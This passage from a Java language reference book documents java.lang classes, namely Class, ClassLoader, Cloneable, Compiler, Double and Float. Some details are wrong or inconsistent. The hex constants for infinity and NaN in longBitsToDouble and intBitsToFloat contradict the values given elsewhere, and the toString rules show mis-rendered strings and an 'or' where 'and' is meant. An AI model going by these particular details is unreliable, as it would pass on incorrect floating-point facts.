Returns

true if the type represented by cls is assignable to the type of this class: otherwise false.

Throws

NullPointerException

If cls is null.

Description

This method determines whether or not the type represented by cls is assignable to the type of this class. If this class represents a class, this class must be the same as cls or a superclass of cls. If this class represents an interface, this class must be the same as cls or a superinterface of cls. If this class represents a primitive type, this class must be the same as cls.

isInstance

public native boolean isInstance(Object obj)

Availability

New as of JDK 1.1

Parameters

obj

An Object to be tested.

Returns

true if obj can be cast to the reference type specified by this class; otherwise false.

Throws

NullPointerException

If obj is null.

Description

This method determines whether or not the object represented by obj can be cast to the type of this class object without causing a ClassCastException. This method is the dynamic equivalent of the instanceof operator.

isInterface

public native boolean isInterface()

Returns

true if this object describes an interface; otherwise false.

isPrimitive

public native boolean isPrimitive()

Availability

New as of JDK 1.1

Returns

true if this object describes a primitive type; otherwise false.

newInstance

 public native Object newInstance () throws InstantiationException, IllegalAccessException

Returns

A reference to a new instance of this class.

Throws

InstantiationException

If the Class object represents an interface or an abstract class.

IllegalAccessException

If the class or an initializer is not accessible.

Description

This method creates a new instance of this class by performing these steps:

  1. It creates a new object of the class represented by the Class object.

  2. It calls the constructor for the class that takes no arguments.

  3. It returns a reference to the initialized object.

The newInstance() method is useful for creating an instance of a class that has been dynamically loaded using the forName() method.

The reference returned by this method is usually cast to the type of object that is instantiated.

The newInstance() method can throw objects that are not instances of the classes it is declared to throw. If the constructor invoked by newInstance() throws an exception, the exception is thrown by newInstance() regardless of the class of the object.

toString

public String toString()

Returns

A String that contains the name of the class with either 'class' or 'interface' prepended as appropriate.

Overrides

Object.toString()

Description

This method returns a string representation of the Class object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals() | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ClassLoader;
Class Declarations;
Constructors;
Exceptions;
Interface Declarations;
Methods;
Nested Top-Level and Member Classes;
Object;
Object Creation;
Reference Types;
SecurityManager;
Variables

Previous | Home | Next
Character | Book Index | ClassLoader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] ClassLoader

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

ClassLoader

Name

ClassLoader

Synopsis

Class Name:

java.lang.ClassLoader

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ClassLoader class provides a mechanism for Java to load classes over a network or from any source other than the local filesystem. The default class-loading mechanism loads classes from files found relative to directories specified by the CLASSPATH environment variable. This default mechanism does not use an instance of the ClassLoader class.

An application can implement another mechanism for loading classes by declaring a subclass of the abstract ClassLoader class. A subclass of ClassLoader must override the loadClass() to define a class-loading policy. This method implements any sort of security that is necessary for the class-loading mechanism. The other methods of ClassLoader are final, so they cannot be overridden.

A ClassLoader object is typically used by calling its loadClass() method to explicitly load a top-level class, such as a subclass of Applet. The ClassLoader that loads the class becomes associated with the class; it can be obtained by calling the getClassLoader() method of the Class object that represents the class.

Once a class is loaded, it must be resolved before it can be used. Resolving a class means ensuring that all of the other classes it references are loaded. In addition, all of the classes that they reference must be loaded, and so on, until all of the needed classes have been loaded. Classes are resolved using the resolveClass() method of the ClassLoader object that loaded the initial class. This means that when a ClassLoader object is explicitly used to load a class, the same ClassLoader is used to load all of the classes that it references, directly or indirectly.

Classes loaded using a ClassLoader object may attempt to load additional classes without explicitly using a ClassLoader object. They can do this by calling the Class class' forName() method. However, in such a situation, a ClassLoader object is implicitly used. See the description of Class.forName() for more information.

Java identifies a class by a combination of its fully qualified name and the class loader that was used to load the class. If you write a subclass of ClassLoader, it should not attempt to directly load local classes. Instead, it should call findSystemClass(). A local class that is loaded directly by a ClassLoader is considered to be a different class than the same class loaded by findSystemClass(). This can lead to having two copies of the same class loaded, which can cause a number of inconsistencies. For example, the class' equals() method may decide that the same object is not equal to itself.

Class Summary

public abstract class java.lang.ClassLoader extends java.lang.Object {
    // Constructors
    protected ClassLoader();
    // Class Methods
    public static final URL
           getSystemResource(String name);                  // New in 1.1
    public static final InputStream
           getSystemResourceAsStream(String name);          // New in 1.1
    // Public Instance Methods
    public URL getResource(String name);                    // New in 1.1
    public InputStream getResourceAsStream(String name);    // New in 1.1
    public Class loadClass(String name);                    // New in 1.1

    // Protected Instance Methods
    protected final Class defineClass(byte data[],
              int offset, int length);               // Deprecated in 1.1
    protected final Class defineClass(String name,
              byte[] data, int offset, int length);         // New in 1.1
    protected final Class findLoadedClass(String name);     // New in 1.1
    protected final Class findSystemClass(String name);
    protected abstract Class loadClass(String name, boolean resolve);
    protected final void resolveClass(Class c);
    protected final void setSigners(Class cl,
              Object[] signers);                            // New in 1.1
}

Constructors

ClassLoader

protected ClassLoader()

Throws

SecurityException

If there is a SecurityManager object installed and its checkCreateClassLoader() method throws a SecurityException when called by this constructor.

Description

Initializes a ClassLoader object. Because ClassLoader is an abstract class, only subclasses of the class can access this constructor.

Class Methods

getSystemResource

public static final URL getSystemResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A system resource name.

Returns

A URL object that is connected to the specified system resource or null if the resource cannot be found.

Description

This method finds a system resource with the given name and returns a URL object that is connected to the resource. The resource name can be any system resource.

getSystemResourceAsStream

public static final InputStream getSystemResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A system resource name.

Returns

An InputStream object that is connected to the specified system resource or null if the resource cannot be found.

Description

This method finds a system resource with the given name and returns an InputStream object that is connected to the resource. The resource name can be any system resource.

Public Instance Methods

getResource

public URL getResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

A URL object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name and returns a URL object that is connected to the resource.

A resource is a file that contains data (e.g., sound, images, text) and it can be part of a package. The name of a resource is a sequence of identifiers separated by "/". For example, a resource might have the name help/american/logon.html . System resources are found on the host machine using the conventions of the host implementation. For example, the "/" in the resource name may be treated as a path separator, with the entire resource name treated as a relative path to be found under a directory in CLASSPATH.

The implementation of getResource() in ClassLoader simply returns null. A subclass can override this method to provide more useful functionality.

getResourceAsStream

public InputStream getResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

An InputStream object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name and returns an InputStream object that is connected to the resource.

A resource is a file that contains data (e.g., sound, images, text) and it can be part of a package. The name of a resource is a sequence of identifiers separated by `/'. For example, a resource might have the name help/american/logon.html. System resources are found on the host machine using the conventions of the host implementation. For example, the `/' in the resource name may be treated as a path separator, with the entire resource name treated as a relative path to be found under a directory in CLASSPATH.

The implementation of getResourceAsStream() in ClassLoader simply returns null. A subclass can override this method to provide more useful functionality.

loadClass

public Class loadClass(String name) throws ClassNotFoundException

Availability

New as of JDK 1.1

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified class.

Throws

ClassNotFoundException

If it cannot find a definition for the named class.

Description

This method loads the named class by calling loadClass(name, true).

Protected Instance Methods

defineClass

 protected final Class defineClass(byte data[], int offset, int length)

Availability

Deprecated as of JDK 1.1

Parameters

data

An array that contains the byte codes that define a class.

offset

The offset in the array of byte codes.

length

The number of byte codes in the array.

Returns

The newly created Class object.

Throws

ClassFormatError

If the data array does not constitute a valid class definition.

Description

This method creates a Class object from the byte codes that define the class. Before the class can be used, it must be resolved. The method is intended to be called from an implementation of the loadClass() method.

Note that this method is deprecated as of Java 1.1. You should use the version of defineClass() that takes a name parameter and is therefore more secure.

 protected final Class defineClass(String name, byte data[], int offset, int length)

Availability

New as of JDK 1.1

Parameters

name

The expected name of the class to be defined or null if it is not known. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

data

An array that contains the byte codes that define a class.

offset

The offset in the array of byte codes.

length

The number of byte codes in the array.

Returns

The newly created Class object.

Throws

ClassFormatError

If the data array does not constitute a valid class definition.

Description

This method creates a Class object from the byte codes that define the class. Before the class can be used, it must be resolved. The method is intended to be called from an implementation of the loadClass() method.

findLoadedClass

 protected final Class findLoadedClass(String name)

Availability

New as of JDK 1.1

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified loaded class or null if the class cannot be found.

Description

This method finds the specified class that has already been loaded.

findSystemClass

 protected final Class findSystemClass(String name) throws ClassNotFoundException

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified system class.

Throws

ClassNotFoundException

If the default class-loading mechanism cannot find a definition for the class.

NoClassDefFoundError

If the default class-loading mechanism cannot find the class.

Description

This method finds and loads a system class if it has not already been loaded. A system class is a class that is loaded by the default class-loading mechanism from the local filesystem. An implementation of the loadClass() method typically calls this method to attempt to load a class from the locations specified by the CLASSPATH environment variable.

loadClass

 protected abstract Class loadClass(String name, boolean resolve) throws ClassNotFoundException

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

resolve

Specifies whether or not the class should be resolved by calling the resolveClass() method.

Returns

The Class object for the specified class.

Throws

ClassNotFoundException

If it cannot find a definition for the named class.

Description

An implementation of this abstract method loads the named class and returns its Class object. It is permitted and encouraged for an implementation to cache the classes it loads, rather than load one each time the method is called. An implementation of this method should do at least the following:

  1. Load the byte codes that comprise the class definition into a byte[].

  2. Call the defineClass() method to create a Class object to represent the class definition.

  3. If the resolve parameter is true, call the resolveClass() method to resolve the class.

If an implementation of this method caches the classes that it loads, it is recommended that it use an instance of the java.util.Hashtable to implement the cache.

resolveClass

protected final void resolveClass(Class c)

Parameters

c

The Class object for the class to be resolved.

Description

This method resolves the given Class object. Resolving a class means ensuring that all of the other classes that the Class object references are loaded. In addition, all of the classes that they reference must be loaded, and so on, until all of the needed classes have been loaded.

The resolveClass() method should be called by an implementation of the loadClass() method when the value of the loadClass() method's resolve parameter is true.

setSigners

 protected final void setSigners(Class cl, Object[] signers)

Availability

New as of JDK 1.1

Parameters

cl

The Class object for the class to be signed.

signers

An array of Objects that represents the signers of this class.

Description

This method specifies the objects that represent the digital signatures for this class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class;
Errors;
Exceptions;
Object;
SecurityManager

Previous | Home | Next
Class | Book Index | Cloneable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Cloneable

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Cloneable

Name

Cloneable

Synopsis

Interface Name:

java.lang.Cloneable

Super-interface:

None

Immediate Sub-interfaces:

java.text.CharacterIterator

Implemented by:

java.awt.GridBagConstraints, java.awt.Insets,

java.awt.image.ImageFilter,

java.text.BreakIterator,

java.text.Collator, java.text.DateFormat,

java.text.DateFormatSymbols,

java.text.DecimalFormatSymbols,

java.text.Format, java.text.NumberFormat,

java.util.BitSet, java.util.Calendar,

java.util.Date, java.util.Hashtable,

java.util.Locale, java.util.TimeZone,

java.util.Vector

Availability:

JDK 1.0 or later

Description

The Cloneable interface provides no functionality; it declares no methods or variables. This interface is simply provided as a way of indicating that an object can be cloned (that is, copied). A class that is declared as implementing this interface is assumed to have overridden the Object class' implementation of clone() with an implementation that can successfully clone instances of the class. The implementation of clone() that is provided by the Object class simply throws a CloneNotSupportedException.

Interface Declaration

public interface java.lang.Cloneable {
}

See Also

Exceptions; Object

Previous | Home | Next
ClassLoader | Book Index | Compiler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Compiler

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Compiler

Name

Compiler

Synopsis

Class Name:

java.lang.Compiler

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Compiler class encapsulates a facility for compiling Java classes to native code. As provided by Sun, the methods of this class do not actually do anything. However, if the system property java.compiler has been defined and if the method System.loadLibrary() is able to load the library named by the property, the methods of this class use the implementations provided in the library.

The Compiler class has no public constructors, so it cannot be instantiated.

Class Summary

public final class java.lang.Compiler extends java.lang.Object {
    // Class Methods
    public static native Object command(Object any);
    public static native boolean compileClass(Class clazz);
    public static native boolean compileClasses(String string);
    public static native void disable();
    public static native void enable();
}

Class Methods

command

public static native Object command(Object any)

Parameters

any

The permissible value and its meaning is determined by the compiler library.

Returns

A value determined by the compiler library, or null if no compiler library is loaded.

Description

This method directs the compiler to perform an operation specified by the given argument. The available operations, if any, are determined by the compiler library.

compileClass

public static native boolean compileClass(Class clazz)

Parameters

clazz

The class to be compiled to native code.

Returns

true if the compilation succeeds, or false if the compilation fails or no compiler library is loaded.

Description

This method requests the compiler to compile the specified class to native code.

compileClasses

public static native boolean compileClasses(String string)

Parameters

string

A string that specifies the names of the classes to be compiled.

Returns

true if the compilation succeeds or false if the compilation fails or no compiler library is loaded.

Description

This method requests the compiler to compile all of the classes named in the string.

disable

public static native void disable()

Description

This method disables the compiler if one is loaded.

enable

public static native void enable()

Description

This method enables the compiler if one is loaded.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Object; System

Previous | Home | Next
Cloneable | Book Index | Double
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Double

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Double

Name

Double

Synopsis

Class Name:

java.lang.Double

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Double class provides an object wrapper for a double value. This is useful when you need to treat a double value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a double value for one of these arguments, but you can provide a reference to a Double object that encapsulates the double value. Furthermore, as of JDK 1.1, the Double class is necessary to support the Reflection API and class literals.

In Java, double values are represented using the IEEE 754 format. The Double class provides constants for the three special values that are mandated by this format: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN (not-a-number).

The Double class also provides some utility methods, such as methods for determining whether a double value is an infinity value or NaN, for converting double values to other primitive types, and for converting a double to a String and vice versa.

Class Summary

public final class java.lang.Double extends java.lang.Number {
    // Constants
    public final static double MAX_VALUE;
    public final static double MIN_VALUE;
    public final static double NaN;
    public final static double NEGATIVE_INFINITY;
    public final static double POSITIVE_INFINITY;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Double(double value);
    public Double(String s);
    // Class Methods
    public static native long doubleToLongBits(double value);
    public static boolean isInfinite(double v);
    public static boolean isNaN(double v);
    public static native double longBitsToDouble(long bits);
    public static String toString(double d);
    public static Double valueOf(String s);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public boolean isInfinite();
    public boolean isNaN();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

 public static final double MAX_VALUE = 1.79769313486231570e+308

Description

The largest value that can be represented by a double.

MIN_VALUE

 public static final double MIN_VALUE = 4.94065645841246544e-324

Description

The smallest value that can be represented by a double.

NaN

public static final double NaN = 0.0 / 0.0

Description

This variable represents the value not-a-number (NaN), which is a special value produced by double operations such as division of zero by zero. When NaN is one of the operands, most arithmetic operations return NaN as the result.

Most comparison operators (<, <=, ==, >=, >) return false when one of their arguments is NaN. The exception is !=, which returns true when one of its arguments is NaN.

NEGATIVE_INFINITY

public static final double NEGATIVE_INFINITY = -1.0 / 0.0

Description

This variable represents the value negative infinity, which is produced when a double operation underflows or a negative double value is divided by zero. Negative infinity is by definition less than any other double value.

POSITIVE_INFINITY

public static final double POSITIVE_INFINITY = 1.0 / 0.0

Description

This variable represents the value positive infinity, which is produced when a double operation overflows or a positive double value is divided by zero. Positive infinity is by definition greater than any other double value.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type double. It is always true that Double.TYPE == double.class.

Constructors

Double

public Double(double value)

Parameters

value

The double value to be encapsulated by this object.

Description

Creates a Double object with the specified double value.

public Double(String s) throws NumberFormatException

Parameters

s

The string to be made into a Double object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid double literal.

Description

Constructs a Double object with the value specified by the given string. The string must contain a sequence of characters that forms a legal double literal.

Class Methods

doubleToLongBits

public static native long doubleToLongBits(double value)

Parameters

value

The double value to be converted.

Returns

The long value that contains the same sequence of bits as the representation of the given double value.

Description

This method returns the long value that contains the same sequence of bits as the representation of the given double value. The meaning of the bits in the result is defined by the IEEE 754 floating-point format: bit 63 is the sign bit, bits 62-52 are the exponent, and bits 51-0 are the mantissa.

An argument of POSITIVE_INFINITY produces the result 0x7ff0000000000000L, an argument of NEGATIVE_INFINITY produces the result 0xfff0000000000000L, and an argument of NaN produces the result 0x7ff8000000000000L.

The value returned by this method can be converted back to the original double value by the longBitsToDouble() method.

isInfinite

static public boolean isInfinite(double v)

Parameters

v

The double value to be tested.

Returns

true if the specified value is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the specified value is an infinity value.

isNaN

public static boolean isNaN(double v)

Parameters

v

The double value to be tested.

Returns

true if the specified value is equal to NaN; otherwise false.

Description

This method determines whether or not the specified value is NaN.

longBitsToDouble

public static native double longBitsToDouble(long bits)

Parameters

bits

The long value to be converted.

Returns

The double value whose representation is the same as the bits in the given long value.

Description

This method returns the double value whose representation is the same as the bits in the given double value. The meaning of the bits in the long value is defined by the IEEE 754 floating-point format: bit 63 is the sign bit, bits 62-52 are the exponent, and bits 51-0 are the mantissa. The argument 0x7f80000000000000L produces the result POSITIVE_INFINITY and the argument 0xff80000000000000L produces the result NEGATIVE_INFINITY. Arguments in the ranges 0x7ff0000000000001L through 0x7fffffffffffffffL and 0xfff0000000000001L through 0xffffffffffffffffL all produce the result NaN.

Except for NaN values not normally used by Java, this method is the inverse of the doubleToLongBits() method.

toString

public static String toString(double d)

Parameters

d

The double value to be converted.

Returns

A string representation of the given value.

Description

This method returns a String object that contains a representation of the given double value.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of d is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

valueOf

 public static Double valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Double object.

Returns

The Double object constructed from the string.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid double literal.

Description

Constructs a Double object with the value specified by the given string. The string must contain a sequence of characters that forms a legal double literal. This method ignores leading and trailing white space in the string.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the truncated value of this object as a byte. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an byte, the method returns Byte.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an byte, the method returns Byte.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Double and it contains the same value as the object this method is associated with. More specifically, the method returns true if the doubleToLongBits() method returns the same result for the values of both objects.

This method produces a different result than the == operator when both values are NaN. In this case, the == operator produces false, while this method returns true. By the same token, the method also produces a different result when the two values are +0.0 and -0.0. In this case, the == operator produces true, while this method returns false.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns this object value as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the double value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, if d is the value of the object, and bitValue is defined as:

long bitValue = Double.doubleToLongBits(d)

then the hashcode returned by this method is computed as follows:

(int)(bitValue ^ (bitValue>>>32))

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the truncated value of this object as an int. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an int, the method returns Integer.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an int, the method returns Integer.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

isInfinite

public boolean isInfinite()

Returns

true if the value of this object is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the value of this object is an infinity value.

isNaN

public boolean isNaN()

Returns

true if the value of this object is equal to NaN; otherwise false.

Description

This method determines whether or not the value of this object is NaN.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the truncated value of this object as a long. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value too large to be represented by a long, the method returns Long.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value too small to be represented by a long, the method returns Long.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the truncated value of this object as a short. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an short, the method returns Short.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an short, the method returns Short.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

toString

public String toString()

Returns

A string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains a representation of the value of this object.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of this object is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class;
Exceptions;
Float;
Floating-point literals;
Floating-point types;
Number;
String

Previous | Home | Next
Compiler | Book Index | Float
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Float

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Float

Name

Float

Synopsis

Class Name:

java.lang.Float

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Float class provides an object wrapper for a float value. This is useful when you need to treat a float value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a float value for one of these arguments, but you can provide a reference to a Float object that encapsulates the float value. Furthermore, as of JDK 1.1, the Float class is necessary to support the Reflection API and class literals.

In Java, float values are represented using the IEEE 754 format. The Float class provides constants for the three special values that are mandated by this format: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN (not-a-number).

The Float class also provides some utility methods, such as methods for determining whether a floatx value is an infinity value or NaN, for converting float values to other primitive types, and for converting a float to a String and vice versa.

Class Summary

public final class java.lang.Float extends java.lang.Number {
    // Constants
    public static final float MIN_VALUE;
    public static final float MAX_VALUE;
    public static final float NaN;
    public static final float NEGATIVE_INFINITY;
    public static final float POSITIVE_INFINITY;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Float(double value);
    public Float(float value);
    public Float(String s);
    // Class Methods
    public static native int floatToIntBits(float value);
    public static native float intBitsToFloat(int bits);
    public static boolean isInfinite(float v);
    public static boolean isNaN(float v);
    public static String toString(float f);
    public static Float valueOf(String s);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public boolean isInfinite();
    public boolean isNaN();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final float MAX_VALUE = 3.40282346638528860e+38f

Description

The largest value that can be represented by a float.

MIN_VALUE

public static final float MIN_VALUE = 1.40129846432481707e-45f

Description

The smallest value that can be represented by a float.

NaN

public static final float NaN = 0.0f / 0.0f

Description

This variable represents the value NaN, a special value produced by float operations such as division of zero by zero. When NaN is one of the operands, most arithmetic operations return NaN as the result. Most comparison operators (<, <=, ==, >=, >) return false when one of their arguments is NaN. The exception is !=, which returns true when one of its arguments is NaN.

NEGATIVE_INFINITY

public static final float NEGATIVE_INFINITY = -1.0f / 0.0f

Description

This variable represents the value negative infinity, which is produced when a float operation underflows or a negative float value is divided by zero. Negative infinity is by definition less than any other float value.

POSITIVE_INFINITY

public static final float POSITIVE_INFINITY = 1.0f / 0.0f

Description

This variable represents the value positive infinity, which is produced when a float operation overflows or a positive float value is divided by zero. Positive infinity is by definition greater than any other float value.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type float. It is always true that Float.TYPE == float.class.

Constructors

Float

public Float(double value)

Parameters

value

The double value to be encapsulated by this object.

Description

Creates a Float object with the specified double value. The value is rounded to float precision.

public Float(float value)

Parameters

value

The float value to be encapsulated by this object.

Description

Creates a Float object with the specified float value.

public Float(String s) throws NumberFormatException

Parameters

s

The string to be made into a Float object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid float literal.

Description

Constructs a Float object with the value specified by the given string. The string must contain a sequence of characters that forms a legal float literal.

Class Methods

floatToIntBits

public static native int floatToIntBits(float value)

Parameters

value

The float value to be converted.

Returns

The int value that contains the same sequence of bits as the representation of the given float value.

Description

This method returns the int value that contains the same sequence of bits as the representation of the given float value. The meaning of the bits in the result is defined by the IEEE 754 floating-point format: bit 31 is the sign bit, bits 30-23 are the exponent, and bits 22-0 are the mantissa. An argument of POSITIVE_INFINITY produces the result 0x7f800000, an argument of NEGATIVE_INFINITY produces the result 0xff800000, and an argument of NaN produces the result 0x7fc00000.

The value returned by this method can be converted back to the original float value by the intBitsToFloat() method.

intBitsToFloat

public static native float intBitsToFloat(int bits)

Parameters

bits

The int value to be converted.

Returns

The float value whose representation is the same as the bits in the given int value.

Description

This method returns the float value whose representation is the same as the bits in the given int value. The meaning of the bits in the int value is defined by the IEEE 754 floating-point format: bit 31 is the sign bit, bits 30-23 are the exponent, and bits 22-0 are the mantissa. The argument 0x7f800000 produces the result POSITIVE_INFINITY, and the argument 0xff800000 produces the result NEGATIVE_INFINITY. Arguments in the ranges 0x7f800001 through 0x7f8fffff and 0xff800001 through 0xff8fffffL all produce the result NaN.

Except for NaN values not normally used by Java, this method is the inverse of the floatToIntBits() method.

isInfinite

public static boolean isInfinite(float v)

Parameters

v

The float value to be tested.

Returns

true if the specified value is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the specified value is an infinity value.

isNaN

public static boolean isNaN(float v)

Parameters

v

The float value to be tested.

Returns

true if the specified value is equal to NaN; otherwise false.

Description

This method determines whether or not the specified value is NaN.

toString

public static String toString(float f)

Parameters

f

The float value to be converted.

Returns

A string representation of the given value.

Description

This method returns a String object that contains a representation of the given float value.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of f is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

valueOf

 public static Float valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Float object.

Returns

The Float object constructed from the string.

Throws

NumberFormatException

